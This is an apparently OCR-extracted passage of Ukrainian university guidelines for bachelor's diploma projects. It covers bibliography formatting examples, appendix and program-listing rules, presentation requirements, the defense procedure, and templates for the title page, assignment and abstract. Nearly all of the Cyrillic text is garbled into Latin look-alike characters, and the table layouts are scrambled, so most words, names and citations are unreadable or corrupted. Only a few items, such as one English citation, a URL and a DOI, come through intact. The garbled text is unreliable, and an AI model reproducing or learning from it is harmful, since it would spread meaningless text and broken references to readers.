Ha pyccKoM s3bike. O01IMe TpeOOBAHMS U PABUIIAY;

— T'OCT 7.11-78 «CHUBU/I. CoxpaiieHue CcJIOB U CIOBOCOYETAHUN Ha
MHOCTPAHHBIX €BPOIENCKHUX A3bIKaX B OMOIMOrpaduyeckoM OMMCaHUNY,

—  JACTY 8302:2015 «Iundopmamiss Ta mokymeHrauis. bibGmiorpadiune
MOCHWJIaHHS. 3arajibHi BUMOTH Ta MPaBUJIa CKJIAIaHHD)

[Tpuknaau 6i6miorpadiyHOTO ONMUCY JKepern HaBeAeH] y Tabiuili 3.

Tabmuis 3
Hpuxiaaau opopmiieHHsI CIMCKY BUKOPUCTAHMX JIZKepeJt
XapakTepucTuka
P P [Ipuknan opopmieHHs
JoKEepea
Knuru: buukiBcbkuit O. O. MixkHapoHe IPUBATHE MPaBoO :
OnuH aBTOp KOHCTEKT JieKiii. 3anopixoks : 3HY, 2015. 82 c.
borma O. C., Kucnnrona 1. FO. diHaHCcH : KOHCIIEKT JIEKITIH.
JIBa aBTOpH

3anopixoks : 3HY, 2016. 102 c.

AninoBebka I'. ., Mapymko H. C.,  Crokonoca T. M.
Tpu aBTOpH [HdopmariiitHi cucTeMu 1 TEXHOJOT1 y (hiHaHCAX : HAaBY. MOCIO0.
JIpBiB : Marnoumisa 2006, 2015. 312 c.

HaykoBo-nipaktuuanii koMeHTap KpuMiHAJIBHOTO KOAEKCY)
VYkpainn : cranom Ha 10 xoBT. 2016 p. / K. I. benikos Ta iH. ;
3a 3ar. pexa. O. M. Jlutsunosa. Kuis : [{YJI, 2016. 528 c.
ABTOp(M) Ta bepezenko B. B. PR sax cdepa HaykoBOro 3HaHHS :
penaktop(u)/ MoHorpadis / 3a 3ar. Hayk. pel. B. M. Manakina. 3anopixoks :
YOOPSIAHUKH 3HY, 2015. 362 c.

25 pOKiB EKOHOMIYHOMY (haKyJIbTETY: ICTOPIs Ta

Yorupu i
Oiybllie aBTOPIB

bes aBTopa chorozents (1991-2016) : roBia. BuIL / mif 3ar. pe.
A. B. Yepen. 3anopixoks : 3HY, 2016. 330 c.
bararoTomsi Enmuknoneniss CydacHoi Ykpainu / penkon.: 1. M. [[31004]
BUJAHHSA ta 1H. Kuis : CAM, 2016. T. 17. 712 c.
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[Iponos:x. Tabmn.3

XapaKkTepUCTHKA
PAKTEp [Tpuxnan opopmiieHHs
JoKepena
boumap O. . 3emuit Ak 00'ekT 1paBa BJIACHOCTI 34
ABTopedepaTu Aap P

3eMeJIbHUM 3aKOHOJABCTBOM YKpaiHu : aBToped. auc.

prcepTatin KaHJ. ropu. Hayk : 12.00.06. Kuis, 2005. 20 c.
AsneeBa O. C. MixkoHdeciitHi BigHocuHH y [liBHIYHOMY
Tnceprauii [TpuazoB'i (kinenp XVIII - mouatok XX cT.) : AHC. ... KaHJ.

icT. Hayk : 07.00.01 / 3anopi3bkuii HaIlOHATBHUIMA
yHiBepcuTeT. 3anopixoks, 2016. 301 c.

3aKoHOIaBYl Ta
HOPMAaTHUBHI1
JIOKYMEHTH

Konctutymis Ykpainu : odin. texct. Kuis : KM, 2013. 96 c.

ApXiBHI JOKyMEHTH

Jluct T'onoBu Cnuiku «HopuoOunb» I'. @. Jlenina Ha M’
['onmoBu Pagu Minictpie YPCP B. A. Macona monao
peectpauii Craryty Cninku. 14 rpyaas 1989 p. HIAI'O
VYkpainu (L{entp. nepx. apxiB rpomaj. o0'elHaHb YKpaiHu).
®. 1. Omn. 32. Cnp. 2612. Apk. 63, 64 38., 71.

Croci6 JiKyBaHHS CHUHApPOMY JAe(iuuTy YyBaru Ta
rinepakTUBHOCTI y  mitei:  mar. 76509  Vkpaina.

Harenru Ne 2004042416; 3asen. 01.04.2004; omy6u. 01.08.2006, Bros.
No 8 (kn. 1). 120 c.

[IIunsie b. A., BoeBoaun B. H. Pacuersl mapameTpos
pauallMOHHOTO TOBPEXKJICHUS MaTepUalioB HEUTpOHAMU
ucrounuka HHI[ X®TU / ANL USA ¢ noaxpuTHyecKoiu

[TpenpunTtn cOOpKOM, yNpaBisieMON yCKOPUTEIEM 3JIEKTPOHOB. XapbKOB '
HHII X®THU, 2006. 19 c.: wn., tadbn. (IIpenpunt. HAH
VYkpaunsl, Haim. Hayd. ueHtp«Xapbk. (Qu3.-T€XH. HWH-T»;
XDOTU2006-4).
JCTY ISO 6107-1:2004. Skicts Boau. CIOBHUK TEPMIiHIB.
Cranzapta Yactura 1 (ISO 6107-1:1996, IDT). [Yunawmii Big 2005-04-
01]. Bun. odin. Kuis : [JepxcnoxuBcrangapt Ykpainu, 2006.
181 c.
[Nopuunikas W. T1. Karanor pactenuii aist paboT mo
Karanoru dburonuzaitny / Jloneu. 6otan. caq HAH Ykpaunsl. JloHenx :
JleGenp, 2005. 228 c.
bibmiorpadiuni JIucoen O. B. bidniorpadiunuii JOBIAHUK 3 KPUMIHOJIOT1i
MOKAKYMKU (1992-2002) / pen. O. I'. Kanman. Xapkis : Opiceit, 2003. 128c.
YACTUHA AJ‘IeKC. B. M. [IpaBoBuit CTaTyc JIIOJUHU ) y
BUTAHHS: B3a€MOBITHOCHHAX JIEPXKABU Ta CyCHINLCTBA B YKpa1H1.
KHITH TeopeTuyHi 3acaay B3a€MOBIIHOCUH JIepKaBU Ta CYCHIIbCTBA

B ynpaBiiHHi : MoHorpadis. Yepnisui, 2012. C. 151-169
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3akiny. Ta0J1. 3

Xapzl;:ee;)eﬂ;;lrl/ma [Tpuknan opopmieHHs
Coxkonoa HO. Oco6iuBOCTI BIPOBAIKEHHS MPOOJIEMHOTO
;ﬁ?ﬁ;ﬂgﬁ HaBYaHHS XiMmil B cTapuIiii mpoduipHINA MIKOMi. AKTyalbHI
MATEPIA HfB npobiieMd  Ta  TEPCHEKTUBU  PO3BUTKY MEIUHHAX,
KOH®EPEHIITI cbapMaueBTHqHHx Ta MNPUPOJHMYMX HAyK @ Mareplai 111
(TE3H, JIOTIOBLJ) perioH. HayK.-TpakT. KoH., M. 3anopixoks, 29 mucron. 2014
’ p. 3amopixoks, 2014, C. 211-212.
];II? Ezggg Kyuepenxo I. N{ IIpaBo ):[epZKaBHoi' BJ'Ia/CHOCTi. Benukuit
CHUUKJIONIEAMYHUN FOPUTUYHUI CIIOBHUK / Pe]l.
ﬂogéﬂﬂi%%%m O. C. lemmyuenxo. Kis, 2007. C. 673,
Konomoenp T. O. OuiHHI NOHATTA B aAMIHICTPATUBHOMY]
SQEXgEQ 3aKOHOJIaBCTBI Ykpainu: peanii ~ Ta  TEPCIEKTHBA
p OI[OB}KYBAHO CI)OPM}’JIIOB&HHSI IX 3aCTOCYBAaHHS. Bl(?HI/IK 3anop13§1<oro
IO BUJIAHHS HAaLllOHAIBHOTO yHIBepcuTeTy. IOpuanyHi Hayku. 3amopixoks,
2017. Ne 1. C. 36-46.
YACTHUHA
BUJIAHHS: Bletskan D. I., Glukhov K. E., FrolovaV.V. Electronic
IMEPIOAMYHOTIO | structure of 2H-SnSe2: ab initio modeling and comparison
BUJAHHS with experiment. Semiconductor Physics Quantum Electronics
CKYPHAJLY, & Optoelectronics. 2016. Vol. 19, No 1. P. 98-108.
I'A3ETU)
1. Bmana  ouumma  ictopii:  ¢otoBuctaBka.  URL:
http://www.kmu.gov.ua/control/uk/photogallery/gallery?galler
yId=15725757& (nara 3Bepuenns: 15.11.2017).
EnextponHi 2. Suxis 4. C., Maninpkuii b. A., by6omuk C. T'.
pecypeu Tpancdopmariisi HaykoBoOi cucteMu YKpaiHu mpotsiroMm 90-x|

pokiB XX CTOMTTS: mepioj mepexoay no puHky. Hayka Tta
1HHOBAITI]. 2016. T. 12, Ne 6. C.6-14.
DOI:https://doi.org/10.15407/scin12.06.006.

[Tpuknan opopmieHHs] CHUCKY BUKOPUCTAaHUX JKepels HaBeneHo B Joxatky JI.

6.11. JlonaTku

Jonatku ohopMITIOIOTh SIK TPOAOBXKEHHS] pOOOTH Ha HACTYMHMX il CTOPIHKAX,
PO3MINIYIOYM X y MOPSAKY TOSIBH IMOCWUJIAHb y TEKCTI PoOOTH. SIKIO J0AaTKu
o(OPMITIOIOTh Ha HACTYIHUX CTOPIHKaX POOOTH, KOKHMHA TaKWi JOMATOK MOBHHCH
MOYMHATHUCS 3 HOBOI CTOPIHKM. Jl0JJTaTOK MOBHMHEH MAaTH 3arojioBOK, HaJApyKOBaHUMU
Bropi BEJIUKUMH JHITEpPAMHU >KUPHUM IIPUPTOM 13 BHUPIBHIOBAHHAM «3a MpPaBUM
KpaeM» BITHOCHO TE€KCTY CTOPIHKH.

Jlonatku ¢ mo3HayaTH MOCIII0BHO BEJIMKUMU JIITEPAMHU YKPAiHCHhKOI a0eTKH,
3a BumsitkoM mitep I, €, 3,1, 1, 11, O, U, b.
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OnuH 10JaTOK MO3HAYA€eThCs K ““JlogaTok A”.

JlonaTku TOBUHHI MaTd CIHUIBHY 3 PEHITOI TEKCTY HACKPI3HY HyMepaliio
CTOPIHOK.

Ha3Ba nomatky ApyKyeTbCsi NPONUCHUMHU (BEIMKUMH) JITEpaMU KUPHUM
mpudTOM Ta PO3MIIIYETHCS 3 BUPIBHIOBAaHHAM «B 11eHTp1».

3a HEOOXIJTHOCTI TEKCT JOJATKIB MOKE IMOIISATUCS Ha PO3AUIM, IMAPO3ILIH,
MYHKTH 1 TANYHKTH, K1 CII1JT HyMEPYBaTH B M&XaX KOKHOTO J0JIaTKy BIJIIOBIIHO J0
BUMOT. Y IIbOMY pa3i mepes] KO)KHUM HOMEPOM CTaBJISATh IMO3HAYCHHS IOJATKY
(7miTepy) 1 Kpanky, Hampukian, A.2 — apyruit posain noaatky A; b.3.1 — migposain
3.1 nopatky b; /1.4.1.2 — nyHnkr 4.1.2 nopatky /.

LmrocTpamii, Tabnuii, moO € y TEKCTI J0AATKy, CJiJ HyMepyBaTH B MexXax
KOXXHOT'O JTOJATKy, HApUKJIaa, pUcyHOK /1.3 — TpeTiil pucyHok noaarky I, Tabmuis
A.3 — Tpets Tabiuis 10aTKy A.

Sxmo B A0JaTKy OJHA LIIOCTpallis, OJHA TaOIHI, iX HYMEPYIOTh, HAIPUKIIAJ,
pucyHok A.1, Tabmuusg A.1.

VY mocuiaHHSX Yy TEKCTI JOJATKy Ha UTIOCTpallli, TaOJHIll pPEeKOMEHIYEThCS

2% ¢¢

nucatu: ““...Ha puCyHKy A.2...”, “...Ha puc. A.2...”.
6.12. OdopMileHHSI TEKCTIB KOMII’IOTEPHUX NMPOrpam

Texcth  KOMI'IOTEpPHHUX  OporpaM,  po3poOJeHUMX  TNpU  BHUKOHAHHI
KkBamidikaiiitHoi po6oTr 0OPMITIOIOThH Y BIATIOBIIHOMY M0AaTKy. PexomeHaoBaHwMi
po3Mmip mpudty apyky Big 10 ot go 12 nTt 3 omumHapHuM (1 OT) MDKPSIKOBUM
iHTepBaioM. OOcCAr JICTUHTY MOporpamMu MOBUHEH cTaHOBUTH 10-25 crtop. Skmio
KUIBKICTh CTOPIHOK MEPEBUIILYE 3aJjaHy, TO MOXJIMBO PO3MILIEHHS TEKCTY MPOrpaMu
Ha €JICKTPOHHOMY HOCI1 3 BIJIMOBIIHUM MOCUJIAHHAM Ha (ailyin, 1110 He BMICTHIIUCS B
TEKCT MOSCHIOBAJIBbHOI 3aITUCKH.

[Ipn omuci npouenyp, MOIYJIB HEOOXIAHO BKIIOYATH iX CHEHHU(IKALILO.
Jns maHuX HEOOXiTHO HABOJAMTH iX ONKC Ta NPHU3HAYCHHS 1, 3a HEOOXIIHOCTI,
OOrpyHTYBaHHS iX CTPYKTYPH.

JUis naHuMx, OI0 BUKOPHUCTOBYIOTBHCS JEKUIBKOMAa IMPOTPAMHUMH OJUHULSMU
(mporiegypaMu, MOJYJISIMH), CIIJI ONUCYBAaTH iX NPHU3HAYCHHS, $KI TMPOTPaMHI
OJIMHHUIII 1 AIK 1X 3MIHIOIOTh 1 SIKI BAKOPHCTOBYIOTb.

[Io TekcTy BHKOHABYOI YACTHMHH NPOTpaMH TIOBUHHI OyTH KOMEHTapi, sKi
OTKCYIOTh 1 MOSICHIOIOTH aJTOPUTM.

VY X0l TOKyMEHTYBaHHS TEKCTY CJiI KOPUCTYBATUCS HACTYITHUMU TPaBUIIaMU:

- KOMEHTapl MOBUHHI JOMOMOITH pO3pOoOHHMKAM Yy (pOpMyBaHHI HAMKOPOTIIOTO
TEPMiHY BCTAHOBJICHHS 3HaHHB TIPO TIPOTPamy;

- KOMEHTapl MOBUHHI HAJaTW MAaKCHUMAJIbHY JIOMOMOTY I1HIIOMY IPOrpaMicTy
po310paTucs B aITOPUTMI POTPaMU IIPH ii CYIIPOBO/IL;

- HEOOX1JTHO CTEXXHUTH 32 TOYHICTIO KOMEHTapiB, BOHU MOBUHHI JOMOMAaratu, a
HE BBOJIUTU B OMaHY;

- TIOTaHO TPOKOMEHTOBAaHA Mporpama - 1€ peajbHe 3HIKEHHs skocti I13, a
HEBUIIPAB/IaHa HAJAMIPHICTH KOMEHTAPIB MOKE YCKIaTHUTH POOOTY 3 IPOrpaMoro.

[Tpuxmnan opopmiieHHsT AOJATKY 3 TEKCTOM IporpaMu HaBeieHo B Jlomatky M.
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7. Bumoru 10 opopmJIeHHS Npe3eHTalil

3MICT Mpe3eHTallii MOBUHEH BIJJI3EPKAIIOBATH OPHUTIHAIBHI PE3yJbTaTH, SIKI
Oynu OoTpuMaHi MpU BUKOHAHHI TUIJIOMHOTO MPOEKTY OakajaBpa Ta JOMOBHIOBATU
CBOIMU UTIOCTpAIlisSIMU JIOTIOB1/Ib PO BUKOHAHUM AUTIIOMHUNA TPOEKT.

PekoMeH/10BaHUM 1HCTPYMEHTOM JIsi BUKOHAHHS €JEKTPOHHOI Mpe3eHTalli €
nogatok Microsoft PowerPoint, aje He BHKJIIOYEHI i iHIII peCypcH, SIKIIO BOHH B
OB Mipl BIAMOBIIATUMYThH B110OpaKEHHIO BUKOHAHOT POOOTH.

CrpykTypa npeseHTallii, BukoHaHoi B jpoaatky Microsoft PowerPoint mosuaHa
MaTH 3a3HAYCHY CTPYKTYPY Ta MICTUTH TaKi 000B’I3KOB1 ITyHKTH:

1. TutrynpHUI ClTai 3 BIIOMOCTSIMHU TIPO aBTOpa, TEMY Ta KEPiBHHKA.

2. O0’€eKT DOCHIKEHHS, META.

3. TlocranoBka 3aBaHHS.

4. AmapatHi Ta mnporpamHi 3acoOu, 1o OyiM BUKOPHUCTaHI ISl pO3pOOKH
POrpamMHOro 3a0e3MeUeHHH.

5. Omuc eraniB po3poOKH Ta CTPYKTYPH TIPOECKTY.

6. Onuc inTepdeiicy nporpamu.

7. BigomMocCTi 3 €KOHOMIYHOTO PO3IiTy.

8. BHUCHOBKH, OTpUMaH1 B Pe3yJIbTaTi BAKOHAHHS JUIJIOMHOTO ITPOEKTY.

OxpiM 3a3HaUYECHUX MYHKTIB JIO MPE3EHTAIlli MOXKYTh OYTH BKJIFOUEHI ¥ 1HIIII, 110
B OUTBIIIHN Mipi, 32 JYMKOIO BUKOHABIIS, TOMOBHIOBATUMYTh CBOIM 3MICTOM JIOTIOBI1/Ib
PO BUKOHAHY POOOTY.

KinbkicTh cnaiifiiB moBuHHA OyTH 3arajJbHUM 00csroM Bia 12 10 18 Ta 3anexutsb
B1JI 3araJIbHOTO Yacy, BUAJIEHOTO Ha JOMOBIb, 1110 ckiaaae 10 XB.

Moga npe3eHTailii Ta J0MoBiIl Ma€ OYTH OJTHAKOBOIO 3 TEKCTOM IMOSICHIOBAJIBHOL
3aIHCKHU.

Bci cnaiinu noBuHH1 OyTH 3MICTOBHUMHU Ta Bi3yaJIbHO CIIPUSTINBUMU.

[Tpuknan opopmienns npesenTailii HaBeneHo B Jlogatky T.

8. ITopsiok MiArOTOBKM Ta 3aXMCT KBaJi(ikauniiHoi poooTu

[TosicHIOBaNbHY 3alMCKY IPYKYIOTH 3a JOTIOMOTOIO MPHUHTEpa Ha OJHOMY Oo1Ii
apkymia Oimoro mamepy Qopmaty A4 (210x297 wmmMm). KinbkicTh CTOPiHOK
MOSICHIOBAJIbHOI 3amucku Mae ckiaaatu Big 60 go 100 ctop. Ocrtanui 2 apkymii
MOBUHHI 3QJIUIIATHCS TyCTHMH.

B po3apykoBaHOMY BUTJISIAI TEKCT O0aKagaBpChKol poOOTH MOMAETHCS HA IMiJIMKC
KEpIBHUKAM PO3JILJIIB TA HOPMOKOHTPOJIEPY, SIKI, B CBOIO YEpry, MEePeBIpsIIOThH SIKICTh
BUKOHAHOI poOOTH, pOOJIAThH 3ayBaKeHHSI, SIKILIO BOHU €, Ta BIANPABISAIOTH POOOTY Ha
TOpOoOKy a00 BUCTABIISIIOTH BIAMOBIAHY OIIHKY.

Busnavatoun  AKiCTh BUKOHAHHSA  KBali(ikaiiiiHOi poOOTH, KEpIBHUK
JUTUIOMHOTO MIPOEKTY BPAXOBYE TaKl BUMOTU:

- 00’€KTMBHE BHUCBITJCHHS CTaHy IHUTAaHHA 3 TBOPYUM BUKOPUCTAHHSIM
CY4JacHHX JKepel iHpopMallii;

- OpUTIHAJIBHICTb OJIEP’KAHUX PE3YIIbTATIB;

- TpaKTHUYHA 3HAYUMICTh PE3YJIbTaTIB;
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- OOTpyHTYyBaHHS pIlICHb 1 MPOTIO3ULIIN;

- OpraHiuHUM 3B’S30K TMOSCHIOBAJBHOI 3alUCKH 3 JEMOHCTPALIHOIO
YaCTUHOIO;

- HAasBHICTb MOCUJIaHb Ha JKepesa iH(opMmalrii;

- BIJICYTHICTH JyOJIIOBaHHS, 3aliBOi OIKMCOBOCTI Marepiaily, CTEPEOTHITHUX
pILIEHB, 1110 HE BIUIMBAIOTh HA CYTh 1 BUCBITIICHHS OTPUMAHUX PE3YJIbTaTIB;

- BUKOPHMCTAHHS Cy4aCHUX MPUKIIAIHUX MaKETIB KOMI IOTEPHUX IIPOrpam;

- odopMIICHHS JEMOHCTpAIlIMHAX MaTepialiB Ta MOSCHIOBAIBHOI 3alMCKH
BIJIMTOBITHO 10 YAHHUX CTAHIAPTIB;

- 3araJbHa Ta mpodeciiiHa TPaMOTHICTh, JJAKOHI3M 1 JIOTiYHA IMOCIIIOBHICTH
BUKJIQJTy MaTepiay;

- SKICTb O()OPMJIICHHS;

- CaMOCTIHHICTh BUKOHAHHS.

HopMmokoHTposiep OIliHIOE CTYIHBb 3aCTOCYBaHHA B KBali(ikaliiHii poOoTi
BUMOI UYHWHHHUX CTaHJApTIB, IHIIUX HOPMATUBHUX JIOKYMEHTIB, HAasBHOCTI U
paBUILHOTO O(POPMIICHHS OCUJIaHb HA HUX.

['oToBa mMoOsCHIOBaIbHA 3amUCKa MEPEIUNTAEThbCs B TUMOTpadii KOPCTKUM
neperuieToM. B KiHelb AUIIIOMY BKJIaIAa€ThCs TMCK B OLTOMY KOHBEPTI 13 3allMcaMu
(aiiniB po3poOICHOrO MPOEKTY, JOKYMEHTOM MHOsICHIOBaNbHOI 3amucku (B Word Ta
PDF dbopmarti) Ta npe3eHTaiiii.

JIunioMHMI MPOEKT 3 MiANMCAaMU Ta OILIHKAMHM BCIX KEpIBHHUKIB PO3/UIIB,
HOPMOKOHTpOJIEpA Ta 3aBigyBaua KaQeapu B 3a3HAYCHHU CPOK TOJAETHCS HA 3aXHCT
no JIEK.

3axuct kBamiikamiiHUX poOIT MPOBOAUTHCA Ha BiAKpuTOoMy 3acimanHi JEK.
3aciganss JJEK MoxyTh BIIOYBaTHCh SIK B YHIBEPCHUTETI, TaK 1 Ha MIANPHUEMCTBAX, B
yCTaHOBaxX Ta OpraHizamisx, AJid SKUX TeMaThka poOIT CTaHOBUTb HAyKOBO-
TEOPETUYHUIN a00 MPaKTUYHUMN THTEpPEC.

Komiciss Moxke po3risnatd NHUTaHHS MPO JEp>KaBHY aTecTallilo KOXKHOTO
CTYJIEHTa 32 HasiBHOCT1 TaKUX IOKYMEHTIB:

- BIJIOMOCTI PO BUKOHAHHS CTYJICHTaMHU HAaBUYaJIbHOTO IUIAHY Ta TIPO OIIHKH,
OTpUMaHl HMMH TPU CKJIaJaHHI €K3aMCHIB 1 3ajiKiB 3 TEOPETUYHUX IUCIMILIIH,
KYPCOBHX MPOEKTIB Ta POOIT, yCiX BUJIIB MPAKTHKH, JCPKABHUX €K3aMEHIB;

- 3aJIIKOBa KHMKKA;

- kBamigikaniiHa po0oTa;

- BIATYK KepiBHUKA Ha KBamidikaiiiiHy poOoTy;

- peueH3is ¢axiBug BiANOBIAHOI KBami(iKalii.

Ha 3acimanHs Kkowmicii MOXYyTh TMoOJaBaTUCA W 1HINI Marepiajiid, IO
XapaKTEepU3yIOTh HAyKOBY Ta MPaKTUYHY I[IHHICTb BUKOHAHOI KBami(ikamiiHoi
pob6otu: BiAryku ¢axiBiliB a00 HAYKOBIIIB, JOBIJIKM UM aKTH MPO BIPOBAKCHHS B
MPAKTUKY HAyKOBUX JIOCHI/PKEHb, 3aMOBJICHHS IMIINPUEMCTB Ha BUKOHAHHS
kBasiikaiitHoi poboTu, Komii OmyOJIKOBaHMX CTaTel 3a TEMOIO TMPOEKTY,
JOKYMEHTAIlisl, IO MIATBEP/KY€E MPaKTUYHE 3acTocyBaHHsS MpoekTy (omatok V),
MaKeTH, 3pa3Kku MaTepialiB, BUPOOiB, METOANYHI PO3POOKH TOIIO.

3acianHs KOMICIT IPOXOAUTD Yy BUKJIaA€HIA HUYKUE TOCIITOBHOCTI.

I'onosa JIEK:
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- BIIKpUBa€ 3acilaHHs Ta TMPEACTaBIsA€ MPHUCYTHIM UIECHIB KOMICIi,
MOCWJIAIOYHCh HA BIAMOBIIHUI HaKas3;

- oroJomye po3kian, mnopsaok podotu JEK, permameHT mnpeseHtaiii
KBasi(iKaiiitHOT poOOTH, KpUTEPIi OIIHIOBAHHS;

- ONPWIIOAHIOE BIJOMOCTI NMPO BUKOHAHHS CTYJIEHTOM HaBYaJIbHOTO IUIAHY Ta
HaJiae€ oMy CJIOBO JIJIs TPE3CHTAIlli pe3yIbTaTiB KBamidikaliiHoi poOOTH.

CryneHT Ha3zuBae TeMy KBadidikaiiiiHoi poOOTH, (HOPMYIIOE MNPOTUPIUUs
OpakTUKU (MpoOJemMH), MI0 JIEKUTh B OCHOBI BHOOpPY TEMH, apryMeHTye ii
aKTyaJIbHICTh, BH3HA4Ya€ TPEIAMET pPO3poOKHM abo JOCHiHKeHBb, (HOPMYITIOE
MOCTAaHOBKY 3aBlIaHb Ta PE3YJIbTATH iX BHUKOHAHHS, OIIHIOE X Ha BIJAIMOBIIHICTH
BUMOTaM HOBHM3HH, JOCTOBIPHOCTI Ta NPAKTHYHOI 3HAYMMOCTI, BIAMOBITAE Ha
3aMUTaHHS YJIEHIB Ta TOJOBU KOMICIi.

[Ticns 3aBeplIEHHS 3aXUCTY YCIX POOIT KOMICISI BUCTABIISI€E KOXKHOMY CTYAECHTY
IHTErpaJIbHY OLIHKY, BUXOASYH 3 TAKUX CKJIaJ0BHX:

- cepenHii 0ai miACyMKOBOTO KOHTPOJIIO 32 BCIMa BUIAMHM JIISUIBHOCTI CTY/ICHTA
3T1JIHO 3 HaBYaJIbHUM IJIAHOM (HAJIa€ThCs AOBIJKA 3 JICKAHATY);

- OIlIHKa KEepPIBHUKA JAUIIOMHOT pOoOOTH;

- OLIIHKA PEIIeH3EHTa,

- OIIIHKA HOBU3HHM Ta MPAKTUYHOI 3HAYUMOCTI1 OJIEP>KaHUX PE3YJIbTATIB;

- OIlIHKa TMpe3eHTalll pe3ynbTariB (SKICTh JOMOBIAI Ta JIEMOHCTpPAIIHUX
MarepiaiiB);

- OIliHKa BIJMOBI/ICH Ha 3aMUTAHHS 1]l YaC 3aXUCTY;

- OIIHKa pIBHSA pPEATbHOCTI, KOMIUIEKCHOCTI KBasi(ikauiifHOi poOoTH,
BITPOBA)KCHHSI PE3YJIbTATIB.

Pimenns JIEK mpo omiHky kBamigikaiiiiHoi poOOTH, a TaKOX MPO MPUCBOEHHS
BUITYCKHUKY OCBITHBOTO PIBHS Ta akaJaeMiuHol Kkamniikauii (OCBITHBO-
KBaMiQiKaiiitHOro piBHA), HAJaHHS MOMY JEp’KaBHOTO JOKYMEHTa TPO OCBITY W
npodeciiiny kBamiikaiiro TPUHAMAETHCS HA 3aKPUTOMY 3aCiaHHI BIIKPUTUM
TOJIOCYBAaHHSIM 3BUUYAWHOIO OUIBIIIICTIO TOJIOCIB MPUCYTHIX HA HHOMY YJICHIB KOMICIi,
aK1 Opanu ydacth y 3acimanui. ['omoc ronosu JIEK € BupimanbHuM npu 0 HAKOBIM
KUJIBKOCTI T'OJIOCIB.

Y Tux BHmaakax, KOJM 3axXHCT KBamidikamiiHoi poOOTH  BHU3HAHO
He3anoBUbHNUM, JIEK BcTaHOBIIOE, UM MOXE CTYIEHT MOJATH HA MOBTOPHUMN 3aXHUCT
Ty camy poOOTy 3 JOOMpAaIOBaHHIM, YM 3000B’S3aHMUIN OIpAIfOBATH HOBY TEMY,
BHU3HAYEHY BUITYCKOBOIO Ka(eaporo.
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MiHicTepcTBO OCBITH | HAYKH YKpaiHU
JepxaBunii BH3 «HauioHaJbHMH NipHUYUi YHIBEPpCUTET»

dakyapTeT 1HPOPMAIIHHUX TEXHOJIOT1N
(dpakynbTer)

MIPOTrPaMHOT0 3a0€3NeYeHHsI KOMI I0TEPHUX CUCTEM

(roBHa Ha3Ba)

HOACHIOBAJIBHA 3AIINCKA

AUTIJIOMHOT0 MPOEKTY
baxanaspa

(Ha3Ba OCBITHBO-KBaTi(iKALIHHOTO PIBHS)

Kadenpa

rajay3b 3HaHb 0501 npopmayiiini mexnonoaii

(um¢p 1 Ha3Ba raTy3i 3HaHB)

HANIPSAM MiATOTOBKH 6.050101 Komn'tomepni nayxu

(xox 1 Ha3Ba HANPSIMY ITiATOTOBKH)

OCBIiTHiii piBeHb oakanaep

(Ha3Ba OCBITHBOTO PiBHS)
KBaJi(ikanis Gaxiseywv 6 2any3i iIHGOPMAYIUHUX MEXHONO2Il
(na3Ba kBauidikarir)

Ha Temy: Pospobka Web-0ooamky 0ns 6ueueHHs ma nepesipKu 3HaHb
3 po30iny ¢hizuxku « Enexmpoounamixay

Bukonasensn:
CTYACHT 4  kypcey , rpynu KHim-14-1
Ilempos I1.11.

(TIpi3BUIIE Ta THILIAH)

(mimmmc)

MOCAJIA, ITIPI3BULLE,

KepiBHuku
THILIAJTA

Ouinka HIIINC

MPOEKTY

po3aiiaiB:
CreniajJibHUI

ExoHoMiuHHI

Penensenr
HopMmokoHTpOIb
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MiHicTepcTBO OCBiTH i HAYyKH YKpaiHu
Jep:xkaBuuii BH3 «HaunionaabsHuii ripHU4Ynil yHiBepcuTen

3ATBEPIKEHO:
3aBigyBad Kadeapu
IPOTPAMHOT0 3a0e3MEYEHHS KOMIT FOTEPHUX CHCTEM

(moBHa Ha3Ba)

.M. YV 1oBuk

(Tipi3BHIIE, HITHIATH)

(Triarmc)

« » 20 POKY

3ABJAHHS

HA IMIJIOMHHMIN NMPOEKT
baxanaspa
(Ha3Ba OCBITHBO-KBaITi(DiKALIHHOTO PiBHS)

cryaenty  KHim-14-1 Ilemposy [lempy [lempoeuuy
(Tpyma) (mpi3BHIIIE Ta iHIIIAN)

Tema TUNIIOMHOIO NPOEKTY Pospobxa Web-0ooamxky 0ns

BUBYEHHSL MA NePeBIPKU 3HAHb 3 pO30iny Qizuxu « Enekmpoounamixay

3aTBeppkeHa Haka3zoM pekropa JIBH3 «HI'Y» Bix __._ 2018 p. Ne -7l

Tepmin
BUKOHAHHS

Po3ain 3MicT BUKOHAHHS

Cneuyianvhuil Ha ocnogi mamepianie eupoonuuoi npakmuku
ma IHWUX  HAYKOBO-MEXHIUHUX  Odcepen
nposecmu aunaniz cmauy piwenus npoonemu ma | 12.05.2018 p.
nOCMAHOBKY 3a0aui.

Oorpynmyeamu  eubip  ma  30ilicHUmMuU
peanizayito memooie eupiuieHHsa npoodaemu
Exonomiunui Ilposecmu  po3paxynoxk  mpyoomicmkocmi
PO3pOOKU npozpammnozo 3ade3neuenHns, eumpam 26.05.2018 p.
Ha cmeopennsa 110 it mpuganocmi itozo po3pooku

3aBIaHHS BUIAB

(miammc) (mocana, mpi3BHIIE, 1HIIIATN)
3aBaaHHs IPUIHSAB 10 BUKOHAHHS Ilempos I[1.11.
(rirmmc)

(mpi3BwiIILle, iHIITIAIH)

.2018 p.

JlaTta BHaul 3aBIaHHS:

Tepmin noganHs AumuioMHoro npoekty 1o JEK .2018 p.




JTIOJIATOK B

IMPUKJIAl PE®EPATY
PEDEPAT
[losicHioBanbHA 3amIUCKA: €.,  pUC., _ Tabn., _ JOA., ___ JIKEpen.

OO6'exT po3poOku: 1H(OpMaIlIiHA CcHUCTEMA CKJIaJy-MarazuHy 3 TPOJAXKy
KOMIT FOTEPIB Ta KOMILIEKTYIOUHX.

MeTta ITUIIOMHOTO MPOEKTY: CTBOPEHHS CUCTEMHU MIATPUMKHU OIepaii ckiamy-
MarasuHy sl TIJIBHUINEHHS MPOAYKTUBHOCTI MOTO MPAIiBHUKIB 1 JJII CKOPOYEHHS
3aTpaT 4Yacy Ha O(OpMJIEHHS TOBapiB, BEICHHS OOJIKY TOBapiB, OGOPMIICHHS
MPOJAXy, MUIAHYBAaHHS Ta MII0IPKUA KOMIUIEKTAlli KOMII IOTEPIB, 3A1ICHEHHS aHAI3Y
HOro [JIAJIBHOCTI, peajli30BaHUX 3a JOMOMOrOK aBTOMAaTH3alli MpOLECy BEACHHS
€JIEKTPOHHO1 0a3u JaHUX CHUCTEMH, BUKOHAHHS 3allUTIB Ta OTPUMAHHS 3BITIB IJIA
aHai3y AIsUIbHOCTI MIIPUEMCTBA.

